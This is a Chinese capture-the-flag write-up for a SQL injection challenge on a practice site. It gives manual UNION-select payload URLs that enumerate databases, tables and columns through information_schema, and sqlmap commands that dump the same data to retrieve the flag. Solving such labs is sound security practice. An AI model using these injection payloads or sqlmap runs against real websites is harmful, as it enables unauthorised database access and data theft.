这题就是个sqi注入的:
手工注入:
我先是简单尝试,就发现了,可以执行sql语句
http://ctf5.shiyanbar.com/8/index.php?id=2 group by 2 没报错
http://ctf5.shiyanbar.com/8/index.php?id=2 gourp by 3 报错
说明我们有两个字段可以提供给我们使用,比如说如下语句
http://ctf5.shiyanbar.com/8/index.php?id=2 union select 1,2
那么就简单了,直接查看所以数据库名
http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(schema_name,"~~"),2 from information_schema.schemata
得到三个数据库,我们猜测第2个数据库中(因为该页面的数据就在其中可以用database()查看)
查看里面所有的表
http://ctf5.shiyanbar.com/8/index.php?id=2 union select group_concat(table_name,"~~"),2 from information_schema.tables where table_schema =‘my_db‘
应该就是这个,查看字段名
OK现在可以直接看flag了
直接复制进去就可以提交了
SqlMap工具利用,这个就快当了:
探测是否有注入:
有注入漏洞:
爆破所有数据库:
-u "http://ctf5.shiyanbar.com/8/index.php?id=2" --dbs
发现三个数据库:
爆my_db库中的表:
-u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" --tables
发现两个表:
直接爆thiskey这个表中的字段:
http://ctf5.shiyanbar.com/8/index.php?id=2 -u "http://ctf5.shiyanbar.com/8/index.php?id=2" -D "my_db" -T "thiskey" --column
得到Key(我用的是最新sqlmap)